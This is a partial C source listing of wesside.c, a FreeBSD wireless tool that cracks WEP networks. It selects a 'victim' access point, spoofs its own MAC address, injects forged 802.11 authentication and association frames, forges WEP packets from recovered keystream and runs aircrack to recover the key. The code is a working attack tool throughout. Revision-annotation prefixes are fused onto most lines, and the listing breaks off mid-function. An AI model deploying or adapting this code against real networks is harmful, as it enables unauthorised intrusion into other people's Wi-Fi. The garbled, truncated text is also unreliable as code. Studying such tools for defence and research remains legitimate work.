wesside.c revision 168966
1185029Spjd/*
2185029Spjd * wep owner by sorbo <sorbox@yahoo.com>
3185029Spjd * Aug 2005
4185029Spjd *
5185029Spjd * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6185029Spjd * overflows.  this whole thing is experimental n e way.
7185029Spjd *
8185029Spjd * $FreeBSD: head/tools/tools/net80211/wesside/wesside/wesside.c 168966 2007-04-23 05:51:18Z sam $
9185029Spjd */
10185029Spjd
11185029Spjd#include <sys/types.h>
12185029Spjd#include <sys/socket.h>
13185029Spjd#include <sys/ioctl.h>
14185029Spjd#include <sys/endian.h>
15185029Spjd#include <sys/stat.h>
16185029Spjd#include <sys/wait.h>
17185029Spjd#include <sys/uio.h>
18185029Spjd#include <net/if.h>
19185029Spjd#include <net/if_media.h>
20185029Spjd#include <net/if_llc.h>
21185029Spjd#include <net/if_arp.h>
22219089Spjd#include <net/if_types.h>
23236884Smm#include <net/if_dl.h>
24185029Spjd#include <net/bpf.h>
25185029Spjd#include <net/ethernet.h>
26185029Spjd#include <net80211/ieee80211.h>
27185029Spjd#include <net80211/ieee80211_ioctl.h>
28185029Spjd#include <net80211/ieee80211_radiotap.h>
29185029Spjd#include <net80211/ieee80211_freebsd.h>
30185029Spjd#include <netinet/in.h>
31185029Spjd#include <netinet/in_systm.h>
32185029Spjd#include <netinet/ip.h>
33185029Spjd#include <netinet/udp.h>
34185029Spjd#include <arpa/inet.h>
35185029Spjd#include <stdlib.h>
36185029Spjd#include <stdio.h>
37185029Spjd#include <unistd.h>
38185029Spjd#include <string.h>
39185029Spjd#include <fcntl.h>
40185029Spjd#include <errno.h>
41185029Spjd#include <assert.h>
42185029Spjd#include <zlib.h>
43185029Spjd#include <signal.h>
44185029Spjd#include <stdarg.h>
45185029Spjd#include <err.h>
46185029Spjd#include <pcap.h>
47185029Spjd
48185029Spjd#include "aircrack-ptw-lib.h"
49185029Spjd
50185029Spjd#define FIND_VICTIM		0
51185029Spjd#define FOUND_VICTIM		1
52185029Spjd#define SENDING_AUTH		2
53185029Spjd#define GOT_AUTH		3
54185029Spjd#define SPOOF_MAC		4
55185029Spjd#define SENDING_ASSOC		5
56185029Spjd#define GOT_ASSOC		6
57185029Spjd
58185029Spjdint state = 0;
59185029Spjd
60185029Spjdstruct timeval arpsend;
61185029Spjd
62185029Spjdstruct tx_state {
63185029Spjd	int waiting_ack;
64185029Spjd	struct timeval tsent;
65185029Spjd	int retries;
66185029Spjd	unsigned int psent;
67185029Spjd} txstate;
68185029Spjd
69185029Spjdstruct chan_info {
70185029Spjd	int s;
71185029Spjd	struct ieee80211req ireq;
72185029Spjd	int chan;
73185029Spjd} chaninfo;
74185029Spjd
75185029Spjdstruct victim_info {
76185029Spjd	char* ssid;
77185029Spjd	int chan;
78185029Spjd	char bss[6];
79185029Spjd} victim;
80185029Spjd
81185029Spjdstruct frag_state {
82185029Spjd	struct ieee80211_frame wh;
83185029Spjd	unsigned char* data;
84185029Spjd	int len;
85185029Spjd	unsigned char* ptr;
86185029Spjd	int waiting_relay;
87185029Spjd	struct timeval last;
88185029Spjd} fragstate;
89185029Spjd
90185029Spjdstruct prga_info {
91185029Spjd	unsigned char* prga;
92185029Spjd	unsigned int len;
93185029Spjd	unsigned char iv[3];
94185029Spjd} prgainfo;
95185029Spjd
96185029Spjdstruct decrypt_state {
97185029Spjd	unsigned char* cipher;
98185029Spjd	int clen;
99185029Spjd	struct prga_info prgainfo;
100185029Spjd	struct frag_state fragstate;
101185029Spjd} decryptstate;
102185029Spjd
103185029Spjdstruct wep_log {
104185029Spjd	unsigned int packets;
105185029Spjd	unsigned int rate;
106185029Spjd	int fd;
107185029Spjd	unsigned char iv[3];
108185029Spjd} weplog;
109185029Spjd
110185029Spjd#define LINKTYPE_IEEE802_11     105
111185029Spjd#define TCPDUMP_MAGIC           0xA1B2C3D4
112185029Spjd
113185029Spjdunsigned char* floodip = 0;
114185029Spjdunsigned short floodport = 6969;
115185029Spjdunsigned short floodsport = 53;
116185029Spjd
117185029Spjdunsigned char* netip = 0;
118185029Spjdint netip_arg = 0;
119185029Spjdint max_chan = 11;
120185029Spjd
121185029Spjdunsigned char* rtrmac = 0;
122185029Spjd
123185029Spjdunsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
124185029Spjdunsigned char myip[16] = "192.168.0.123";
125185029Spjd
126185029Spjdint bits = 0;
127185029Spjdint ttl_val = 0;
128185029Spjd
129185029SpjdPTW_attackstate *ptw;
130185029Spjd
131185029Spjdunsigned char *victim_mac = 0;
132185029Spjd
133185029Spjdint ack_timeout = 100*1000;
134185029Spjd
135185029Spjd#define ARPLEN (8+ 8 + 20)
136185029Spjdunsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
137185029Spjdunsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
138185029Spjd#define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
139185029Spjd#define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
140185029Spjd#define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
141185029Spjd
142185029Spjd#define MCAST_PREF "\x01\x00\x5e\x00\x00"
143185029Spjd
144185029Spjd#define WEP_FILE "wep.cap"
145185029Spjd#define KEY_FILE "key.log"
146185029Spjd#define PRGA_FILE "prga.log"
147185029Spjd
148185029Spjdunsigned int min_prga =  128;
149185029Spjd
150185029Spjd/*
151219089Spjd * When starting aircrack we try first to use a
152185029Spjd * local copy, falling back to where the installed
153185029Spjd * version is expected.
154185029Spjd * XXX builtin pathnames
155185029Spjd */
156185029Spjd#define CRACK_LOCAL_CMD "../aircrack/aircrack"
157185029Spjd#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
158185029Spjd
159185029Spjd#define INCR 10000
160185029Spjdint thresh_incr = INCR;
161185029Spjd
162185029Spjd#define MAGIC_TTL_PAD 69
163185029Spjd
164185029Spjdint crack_dur = 60;
165185029Spjdint wep_thresh = INCR;
166185029Spjdint crack_pid = 0;
167185029Spjdstruct timeval crack_start;
168185029Spjdstruct timeval real_start;
169185029Spjd
170185029Spjd/* linksys does this.  The hardware pads small packets. */
171185029Spjd#define PADDED_ARPLEN 54
172185029Spjd
173185029Spjd#define PRGA_LEN (1500-14-20-8)
174236884Smmunsigned char inet_clear[8+20+8+PRGA_LEN+4];
175236884Smm
176185029Spjd#define DICT_PATH "dict"
177185029Spjd#define TAP_DEV "/dev/tap3"
178185029Spjdunsigned char tapdev[16];
179185029Spjdunsigned char taptx[4096];
180185029Spjdunsigned int taptx_len = 0;
181185029Spjdint tapfd = -1;
182185029Spjd
183185029Spjd/********** RIPPED
184219089Spjd************/
185219089Spjdunsigned short in_cksum (unsigned short *ptr, int nbytes) {
186185029Spjd  register long sum;
187185029Spjd  u_short oddbyte;
188185029Spjd  register u_short answer;
189185029Spjd
190185029Spjd  sum = 0;
191185029Spjd  while (nbytes > 1)
192185029Spjd    {
193219089Spjd      sum += *ptr++;
194185029Spjd      nbytes -= 2;
195185029Spjd    }
196185029Spjd
197185029Spjd  if (nbytes == 1)
198185029Spjd    {
199185029Spjd      oddbyte = 0;
200185029Spjd      *((u_char *) & oddbyte) = *(u_char *) ptr;
201185029Spjd      sum += oddbyte;
202185029Spjd    }
203185029Spjd
204185029Spjd  sum = (sum >> 16) + (sum & 0xffff);
205185029Spjd  sum += (sum >> 16);
206185029Spjd  answer = ~sum;
207185029Spjd  return (answer);
208185029Spjd}
209185029Spjd/**************
210185029Spjd************/
211185029Spjd
212185029Spjdunsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
213185029Spjd                          struct in_addr *dip) {
214185029Spjd        unsigned char *tmp;
215185029Spjd        struct ippseudo *ph;
216219089Spjd
217219089Spjd        tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
218185029Spjd        if(!tmp)
219185029Spjd		err(1, "malloc()");
220185029Spjd
221185029Spjd        ph = (struct ippseudo*) tmp;
222185029Spjd
223185029Spjd        memcpy(&ph->ippseudo_src, sip, 4);
224185029Spjd        memcpy(&ph->ippseudo_dst, dip, 4);
225185029Spjd        ph->ippseudo_pad =  0;
226185029Spjd        ph->ippseudo_p = IPPROTO_UDP;
227185029Spjd        ph->ippseudo_len = htons(len);
228185029Spjd
229185029Spjd        memcpy(tmp + sizeof(struct ippseudo), stuff, len);
230185029Spjd
231185029Spjd        return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
232185029Spjd}
233185029Spjd
234185029Spjdvoid time_print(char* fmt, ...) {
235185029Spjd        va_list ap;
236185029Spjd        char lame[1024];
237219089Spjd	time_t tt;
238219089Spjd	struct tm *t;
239185029Spjd
240185029Spjd        va_start(ap, fmt);
241185029Spjd        vsnprintf(lame, sizeof(lame), fmt, ap);
242185029Spjd        va_end(ap);
243185029Spjd
244185029Spjd	tt = time(NULL);
245185029Spjd
246185029Spjd	if (tt == (time_t)-1) {
247185029Spjd		perror("time()");
248185029Spjd		exit(1);
249185029Spjd	}
250185029Spjd
251185029Spjd	t = localtime(&tt);
252185029Spjd	if (!t) {
253185029Spjd		perror("localtime()");
254185029Spjd		exit(1);
255185029Spjd	}
256185029Spjd
257185029Spjd	printf("[%.2d:%.2d:%.2d] %s",
258185029Spjd	       t->tm_hour, t->tm_min, t->tm_sec, lame);
259185029Spjd}
260185029Spjd
261185029Spjdvoid check_key() {
262185029Spjd	char buf[1024];
263185029Spjd	int fd;
264185029Spjd	int rd;
265185029Spjd	struct timeval now;
266185029Spjd
267185029Spjd	fd = open(KEY_FILE, O_RDONLY);
268185029Spjd
269185029Spjd	if (fd == -1) {
270185029Spjd		return;
271185029Spjd	}
272185029Spjd
273185029Spjd	rd = read(fd, buf, sizeof(buf) -1);
274185029Spjd	if (rd == -1) {
275185029Spjd		perror("read()");
276185029Spjd		exit(1);
277185029Spjd	}
278185029Spjd
279185029Spjd	buf[rd] = 0;
280185029Spjd
281185029Spjd	close(fd);
282185029Spjd
283185029Spjd	printf ("\n\n");
284185029Spjd	time_print("KEY=(%s)\n", buf);
285185029Spjd
286185029Spjd	if (gettimeofday(&now, NULL) == -1) {
287185029Spjd		perror("gettimeofday()");
288185029Spjd		exit(1);
289185029Spjd	}
290185029Spjd
291185029Spjd	printf ("Owned in %.02f minutes\n",
292185029Spjd		((double) now.tv_sec - real_start.tv_sec)/60.0);
293185029Spjd	exit(0);
294185029Spjd}
295185029Spjd
296185029Spjdvoid kill_crack() {
297185029Spjd	if (crack_pid == 0)
298185029Spjd		return;
299185029Spjd
300185029Spjd	printf("\n");
301185029Spjd	time_print("Stopping crack PID=%d\n", crack_pid);
302185029Spjd
303185029Spjd	// XXX doesn't return -1 for some reason! [maybe on my box... so it
304185029Spjd	// might be buggy on other boxes...]
305185029Spjd	if (kill(crack_pid, SIGINT) == -1) {
306185029Spjd		perror("kill()");
307185029Spjd		exit(1);
308185029Spjd	}
309185029Spjd
310185029Spjd	crack_pid = 0;
311185029Spjd
312185029Spjd	check_key();
313185029Spjd}
314185029Spjd
315185029Spjdvoid cleanup(int x) {
316185029Spjd	time_print("\nDying...\n");
317185029Spjd
318185029Spjd	if (weplog.fd)
319185029Spjd		close(weplog.fd);
320185029Spjd
321185029Spjd	kill_crack();
322185029Spjd
323185029Spjd	exit(0);
324185029Spjd}
325185029Spjd
326185029Spjdvoid set_chan(int c) {
327185029Spjd	if (c == chaninfo.chan)
328185029Spjd		return;
329185029Spjd
330185029Spjd	chaninfo.ireq.i_val = c;
331185029Spjd
332185029Spjd	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
333185029Spjd		perror("ioctl(SIOCS80211) [chan]");
334185029Spjd		exit(1);
335185029Spjd	}
336185029Spjd	chaninfo.chan = c;
337185029Spjd}
338185029Spjd
339185029Spjdvoid set_if_mac(unsigned char* mac, unsigned char *name) {
340185029Spjd	int s;
341185029Spjd	struct ifreq ifr;
342185029Spjd
343185029Spjd	s = socket(PF_INET, SOCK_DGRAM, 0);
344185029Spjd	if (s == -1) {
345185029Spjd		perror("socket()");
346185029Spjd		exit(1);
347185029Spjd	}
348185029Spjd
349185029Spjd	memset(&ifr, 0, sizeof(ifr));
350185029Spjd	strcpy(ifr.ifr_name, name);
351185029Spjd
352185029Spjd	ifr.ifr_addr.sa_family = AF_LINK;
353185029Spjd	ifr.ifr_addr.sa_len = 6;
354185029Spjd	memcpy(ifr.ifr_addr.sa_data, mac, 6);
355185029Spjd
356185029Spjd	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
357185029Spjd		perror("ioctl(SIOCSIFLLADDR)");
358185029Spjd		exit(1);
359185029Spjd	}
360185029Spjd
361185029Spjd	close(s);
362185029Spjd}
363185029Spjd
364185029Spjdvoid setup_if(char *dev) {
365185029Spjd	int s;
366185029Spjd	struct ifreq ifr;
367185029Spjd	unsigned int flags;
368185029Spjd	struct ifmediareq ifmr;
369185029Spjd	int *mwords;
370185029Spjd
371185029Spjd	if(strlen(dev) >= IFNAMSIZ) {
372185029Spjd		time_print("Interface name too long...\n");
373185029Spjd		exit(1);
374185029Spjd	}
375185029Spjd
376185029Spjd	time_print("Setting up %s... ", dev);
377185029Spjd	fflush(stdout);
378185029Spjd
379185029Spjd	set_if_mac(mymac, dev);
380185029Spjd
381185029Spjd	s = socket(PF_INET, SOCK_DGRAM, 0);
382185029Spjd	if (s == -1) {
383185029Spjd		perror("socket()");
384185029Spjd		exit(1);
385185029Spjd	}
386185029Spjd
387185029Spjd	// set iface up and promisc
388185029Spjd	memset(&ifr, 0, sizeof(ifr));
389185029Spjd	strcpy(ifr.ifr_name, dev);
390185029Spjd	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
391185029Spjd		perror("ioctl(SIOCGIFFLAGS)");
392185029Spjd		exit(1);
393185029Spjd	}
394185029Spjd
395185029Spjd	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
396185029Spjd	flags |= IFF_UP | IFF_PPROMISC;
397185029Spjd
398185029Spjd	memset(&ifr, 0, sizeof(ifr));
399185029Spjd	strcpy(ifr.ifr_name, dev);
400185029Spjd	ifr.ifr_flags = flags & 0xffff;
401185029Spjd	ifr.ifr_flagshigh = flags >> 16;
402185029Spjd	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
403185029Spjd		perror("ioctl(SIOCSIFFLAGS)");
404185029Spjd		exit(1);
405185029Spjd	}
406185029Spjd
407185029Spjd	// set monitor mode
408185029Spjd	memset(&ifmr, 0, sizeof(ifmr));
409185029Spjd	strcpy(ifmr.ifm_name, dev);
410185029Spjd	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
411185029Spjd		perror("ioctl(SIOCGIFMEDIA)");
412185029Spjd		exit(1);
413185029Spjd	}
414185029Spjd
415185029Spjd	if (ifmr.ifm_count == 0) {
416185029Spjd		time_print("0 media thinggies...\n");
417185029Spjd		exit(1);
418185029Spjd	}
419185029Spjd
420185029Spjd	mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
421185029Spjd	if (!mwords) {
422185029Spjd		perror("malloc()");
423185029Spjd		exit(1);
424185029Spjd	}
425185029Spjd	ifmr.ifm_ulist = mwords;
426185029Spjd
427185029Spjd	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
428185029Spjd		perror("ioctl(SIOCGIFMEDIA)");
429185029Spjd		exit(1);
430185029Spjd	}
431185029Spjd	free(mwords);
432185029Spjd
433185029Spjd	memset(&ifr, 0, sizeof(ifr));
434185029Spjd	strcpy(ifr.ifr_name, dev);
435185029Spjd	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
436185029Spjd	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) {
437185029Spjd		perror("ioctl(SIOCSIFMEDIA)");
438185029Spjd		exit(1);
439185029Spjd	}
440185029Spjd
441185029Spjd	// set chan
442185029Spjd	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
443185029Spjd	strcpy(chaninfo.ireq.i_name, dev);
444185029Spjd	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
445185029Spjd
446185029Spjd	chaninfo.chan = 0;
447185029Spjd	chaninfo.s = s;
448185029Spjd	set_chan(1);
449185029Spjd
450185029Spjd	printf("done\n");
451185029Spjd}
452185029Spjd
453185029Spjdint open_bpf(char *dev, int dlt) {
454185029Spjd        int i;
455185029Spjd        char buf[64];
456185029Spjd        int fd = -1;
457185029Spjd        struct ifreq ifr;
458185029Spjd
459185029Spjd        for(i = 0;i < 16; i++) {
460185029Spjd                sprintf(buf, "/dev/bpf%d", i);
461185029Spjd
462185029Spjd                fd = open(buf, O_RDWR);
463185029Spjd                if(fd < 0) {
464185029Spjd                        if(errno != EBUSY) {
465185029Spjd                                perror("can't open /dev/bpf");
466185029Spjd                                exit(1);
467185029Spjd                        }
468185029Spjd                        continue;
469185029Spjd                }
470185029Spjd                else
471185029Spjd                        break;
472185029Spjd        }
473185029Spjd
474185029Spjd        if(fd < 0) {
475185029Spjd                perror("can't open /dev/bpf");
476185029Spjd                exit(1);
477185029Spjd        }
478185029Spjd
479185029Spjd        strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
480185029Spjd        ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
481185029Spjd
482185029Spjd        if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
483185029Spjd                perror("ioctl(BIOCSETIF)");
484185029Spjd                exit(1);
485185029Spjd        }
486185029Spjd
487185029Spjd        if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
488185029Spjd                perror("ioctl(BIOCSDLT)");
489185029Spjd                exit(1);
490185029Spjd        }
491185029Spjd
492185029Spjd        i = 1;
493185029Spjd        if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
494185029Spjd                perror("ioctl(BIOCIMMEDIATE)");
495185029Spjd                exit(1);
496185029Spjd        }
497185029Spjd
498185029Spjd        return fd;
499185029Spjd}
500185029Spjd
501185029Spjdvoid hexdump(unsigned char *ptr, int len) {
502185029Spjd        while(len > 0) {
503185029Spjd                printf("%.2X ", *ptr);
504185029Spjd                ptr++; len--;
505185029Spjd        }
506185029Spjd        printf("\n");
507185029Spjd}
508185029Spjd
509185029Spjdchar* mac2str(unsigned char* mac) {
510185029Spjd	static char ret[6*3];
511185029Spjd
512185029Spjd	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
513185029Spjd		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
514185029Spjd
515185029Spjd	return ret;
516185029Spjd}
517185029Spjd
518185029Spjdvoid inject(int fd, void *buf, int len)
519185029Spjd{
520185029Spjd	static struct ieee80211_bpf_params params = {
521185029Spjd		.ibp_vers = IEEE80211_BPF_VERSION,
522185029Spjd		/* NB: no need to pass series 2-4 rate+try */
523185029Spjd		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
524185029Spjd		.ibp_rate0 = 2,		/* 1 MB/s XXX */
525185029Spjd		.ibp_try0 = 1,		/* no retransmits */
526185029Spjd		.ibp_flags = IEEE80211_BPF_NOACK,
527228103Smm		.ibp_power = 100,	/* nominal max */
528228103Smm		.ibp_pri = WME_AC_VO,	/* high priority */
529185029Spjd	};
530185029Spjd	struct iovec iov[2];
531228103Smm	int rc;
532228103Smm
533185029Spjd	iov[0].iov_base = &params;
534185029Spjd	iov[0].iov_len = params.ibp_len;
535185029Spjd	iov[1].iov_base = buf;
536185029Spjd	iov[1].iov_len = len;
537185029Spjd	rc = writev(fd, iov, 2);
538210457Smm	if(rc == -1) {
539185029Spjd		perror("writev()");
540185029Spjd		exit(1);
541185029Spjd	}
542185029Spjd	if (rc != (len + iov[0].iov_len)) {
543185029Spjd		time_print("Error Wrote %d out of %d\n", rc,
544185029Spjd			   len+iov[0].iov_len);
545185029Spjd		exit(1);
546219089Spjd	}
547185029Spjd}
548185029Spjd
549185029Spjdvoid send_frame(int tx, unsigned char* buf, int len) {
550219089Spjd	static unsigned char* lame = 0;
551185029Spjd	static int lamelen = 0;
552185029Spjd	static int lastlen = 0;
553228103Smm
554210457Smm	// retransmit!
555210457Smm	if (len == -1) {
556210457Smm		txstate.retries++;
557210457Smm
558210457Smm		if (txstate.retries > 10) {
559210457Smm			time_print("ERROR Max retransmists for (%d bytes):\n",
560210457Smm			       lastlen);
561210457Smm			hexdump(&lame[0], lastlen);
562210457Smm//			exit(1);
563185029Spjd		}
564185029Spjd		len = lastlen;
565185029Spjd//		printf("Warning doing a retransmit...\n");
566185029Spjd	}
567185029Spjd	// normal tx
568185029Spjd	else {
569185029Spjd		assert(!txstate.waiting_ack);
570185029Spjd
571185029Spjd		if (len > lamelen) {
572185029Spjd			if (lame)
573185029Spjd				free(lame);
574185029Spjd
575185029Spjd			lame = (unsigned char*) malloc(len);
576185029Spjd			if(!lame) {
577185029Spjd				perror("malloc()");
578185029Spjd				exit(1);
579185029Spjd			}
580185029Spjd
581219089Spjd			lamelen = len;
582185029Spjd		}
583185029Spjd
584185029Spjd		memcpy(lame, buf, len);
585185029Spjd		txstate.retries = 0;
586185029Spjd		lastlen = len;
587185029Spjd	}
588185029Spjd
589185029Spjd	inject(tx, lame, len);
590185029Spjd
591185029Spjd	txstate.waiting_ack = 1;
592185029Spjd	txstate.psent++;
593185029Spjd	if (gettimeofday(&txstate.tsent, NULL) == -1) {
594185029Spjd		perror("gettimeofday()");
595185029Spjd		exit(1);
596185029Spjd	}
597185029Spjd
598185029Spjd#if 0
599185029Spjd	printf("Wrote frame at %lu.%lu\n",
600185029Spjd	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
601185029Spjd#endif
602185029Spjd}
603185029Spjd
604185029Spjdunsigned short fnseq(unsigned short fn, unsigned short seq) {
605185029Spjd        unsigned short r = 0;
606185029Spjd
607185029Spjd        if(fn > 15) {
608185029Spjd                time_print("too many fragments (%d)\n", fn);
609185029Spjd                exit(1);
610185029Spjd        }
611185029Spjd
612185029Spjd        r = fn;
613185029Spjd
614185029Spjd        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
615185029Spjd
616185029Spjd        return r;
617185029Spjd}
618185029Spjd
619185029Spjdvoid fill_basic(struct ieee80211_frame* wh) {
620185029Spjd	unsigned short* sp;
621185029Spjd
622185029Spjd	memcpy(wh->i_addr1, victim.bss, 6);
623185029Spjd	memcpy(wh->i_addr2, mymac, 6);
624185029Spjd	memcpy(wh->i_addr3, victim.bss, 6);
625185029Spjd
626185029Spjd
627185029Spjd
628185029Spjd	sp = (unsigned short*) wh->i_seq;
629185029Spjd	*sp = fnseq(0, txstate.psent);
630185029Spjd
631185029Spjd	sp = (unsigned short*) wh->i_dur;
632185029Spjd	*sp = htole16(32767);
633185029Spjd}
634185029Spjd
635185029Spjdvoid send_assoc(int tx) {
636219089Spjd	unsigned char buf[128];
637219089Spjd	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
638219089Spjd	unsigned char* body;
639219089Spjd	int ssidlen;
640219089Spjd
641219089Spjd	memset(buf, 0, sizeof(buf));
642219089Spjd	fill_basic(wh);
643219089Spjd	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
644219089Spjd
645219089Spjd	body = (unsigned char*) wh + sizeof(*wh);
646228103Smm	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
647219089Spjd	// cap + interval
648219089Spjd	body += 2 + 2;
649219089Spjd
650219089Spjd	// ssid
651219089Spjd	*body++ = 0;
652185029Spjd	ssidlen = strlen(victim.ssid);
653185029Spjd	*body++ = ssidlen;
654185029Spjd	memcpy(body, victim.ssid, ssidlen);
655185029Spjd	body += ssidlen;
656185029Spjd
657185029Spjd	// rates
658185029Spjd	*body++ = 1;
659185029Spjd	*body++ = 4;
660185029Spjd	*body++ = 2;
661185029Spjd	*body++ = 4;
662185029Spjd	*body++ = 11;
663185029Spjd	*body++ = 22;
664185029Spjd
665185029Spjd	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
666185029Spjd			    strlen(victim.ssid) + 2 + 4);
667185029Spjd}
668185029Spjd
669185029Spjdvoid wepify(unsigned char* body, int dlen) {
670185029Spjd	uLong crc;
671185029Spjd	unsigned long *pcrc;
672185029Spjd	int i;
673185029Spjd
674185029Spjd	assert(dlen + 4 <= prgainfo.len);
675185029Spjd
676185029Spjd	// iv
677185029Spjd	memcpy(body, prgainfo.iv, 3);
678185029Spjd	body +=3;
679185029Spjd	*body++ = 0;
680185029Spjd
681185029Spjd	// crc
682185029Spjd	crc = crc32(0L, Z_NULL, 0);
683185029Spjd	crc = crc32(crc, body, dlen);
684185029Spjd	pcrc = (unsigned long*) (body+dlen);
685185029Spjd	*pcrc = crc;
686185029Spjd
687185029Spjd	for (i = 0; i < dlen +4; i++)
688185029Spjd		*body++ ^= prgainfo.prga[i];
689185029Spjd}
690185029Spjd
691185029Spjdvoid send_auth(int tx) {
692185029Spjd	unsigned char buf[128];
693185029Spjd	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
694185029Spjd	unsigned short* n;
695185029Spjd
696185029Spjd	memset(buf, 0, sizeof(buf));
697185029Spjd	fill_basic(wh);
698185029Spjd	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
699185029Spjd
700185029Spjd	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
701185029Spjd	n++;
702185029Spjd	*n = 1;
703185029Spjd
704185029Spjd	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
705185029Spjd}
706185029Spjd
707185029Spjdint get_victim_ssid(struct ieee80211_frame* wh, int len) {
708185029Spjd	unsigned char* ptr;
709185029Spjd	int x;
710185029Spjd	int gots = 0, gotc = 0;
711185029Spjd
712185029Spjd	if (len <= sizeof(*wh)) {
713185029Spjd		time_print("Warning: short packet in get_victim_ssid()\n");
714185029Spjd		return 0;
715185029Spjd	}
716185029Spjd
717185029Spjd	ptr = (unsigned char*)wh + sizeof(*wh);
718185029Spjd	len -= sizeof(*wh);
719185029Spjd
720185029Spjd	// only wep baby
721185029Spjd	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
722185029Spjd		return 0;
723185029Spjd	}
724185029Spjd
725185029Spjd	// we want a specific victim
726185029Spjd	if (victim_mac) {
727185029Spjd		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
728185029Spjd			return 0;
729185029Spjd	}
730185029Spjd
731185029Spjd	// beacon header
732185029Spjd	x = 8 + 2 + 2;
733185029Spjd	if (len <= x) {
734185029Spjd		time_print("Warning short.asdfasdf\n");
735185029Spjd		return 0;
736185029Spjd	}
737185029Spjd
738185029Spjd	ptr += x;
739185029Spjd	len -= x;
740185029Spjd
741185029Spjd	// SSID
742185029Spjd	while(len > 2) {
743185029Spjd		int eid, elen;
744185029Spjd
745185029Spjd		eid = *ptr;
746219089Spjd		ptr++;
747185029Spjd		elen = *ptr;
748		ptr++;
749		len -= 2;
750
751		if (len < elen) {
752			time_print("Warning short....\n");
753			return 0;
754		}
755
756		// ssid
757		if (eid == 0) {
758			if (victim.ssid)
759				free(victim.ssid);
760
761			victim.ssid = (char*) malloc(elen + 1);
762			if (!victim.ssid) {
763				perror("malloc()");
764				exit(1);
765			}
766
767			memcpy(victim.ssid, ptr, elen);
768			victim.ssid[elen] = 0;
769			gots = 1;
770
771		}
772		// chan
773		else if(eid == 3) {
774			if( elen != 1) {
775				time_print("Warning len of chan not 1\n");
776				return 0;
777			}
778
779			victim.chan = *ptr;
780			gotc = 1;
781		}
782
783		ptr += elen;
784		len -= elen;
785	}
786
787	if (gots && gotc) {
788		memcpy(victim.bss, wh->i_addr3, 6);
789		set_chan(victim.chan);
790		state = FOUND_VICTIM;
791		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
792		       victim.ssid, mac2str(victim.bss), victim.chan);
793		return 1;
794	}
795	return 0;
796}
797
798void send_ack(int tx) {
799	/* firmware acks */
800}
801
802void do_llc(unsigned char* buf, unsigned short type) {
803	struct llc* h = (struct llc*) buf;
804
805	memset(h, 0, sizeof(*h));
806	h->llc_dsap = LLC_SNAP_LSAP;
807	h->llc_ssap = LLC_SNAP_LSAP;
808	h->llc_un.type_snap.control = 3;
809	h->llc_un.type_snap.ether_type = htons(type);
810}
811
812void calculate_inet_clear() {
813	struct ip* ih;
814	struct udphdr* uh;
815	uLong crc;
816	unsigned long *pcrc;
817	int dlen;
818
819	memset(inet_clear, 0, sizeof(inet_clear));
820
821	do_llc(inet_clear, ETHERTYPE_IP);
822
823	ih = (struct ip*) &inet_clear[8];
824	ih->ip_hl = 5;
825	ih->ip_v = 4;
826	ih->ip_tos = 0;
827	ih->ip_len = htons(20+8+PRGA_LEN);
828	ih->ip_id = htons(666);
829	ih->ip_off = 0;
830	ih->ip_ttl = ttl_val;
831	ih->ip_p = IPPROTO_UDP;
832	ih->ip_sum = 0;
833	inet_aton(floodip, &ih->ip_src);
834	inet_aton(myip, &ih->ip_dst);
835	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
836
837	uh = (struct udphdr*) ((char*)ih + 20);
838	uh->uh_sport = htons(floodport);
839	uh->uh_dport = htons(floodsport);
840	uh->uh_ulen = htons(8+PRGA_LEN);
841	uh->uh_sum = 0;
842        uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
843                                  &ih->ip_src, &ih->ip_dst);
844
845	// crc
846	dlen = 8 + 20 + 8 + PRGA_LEN;
847	assert (dlen + 4 <= sizeof(inet_clear));
848
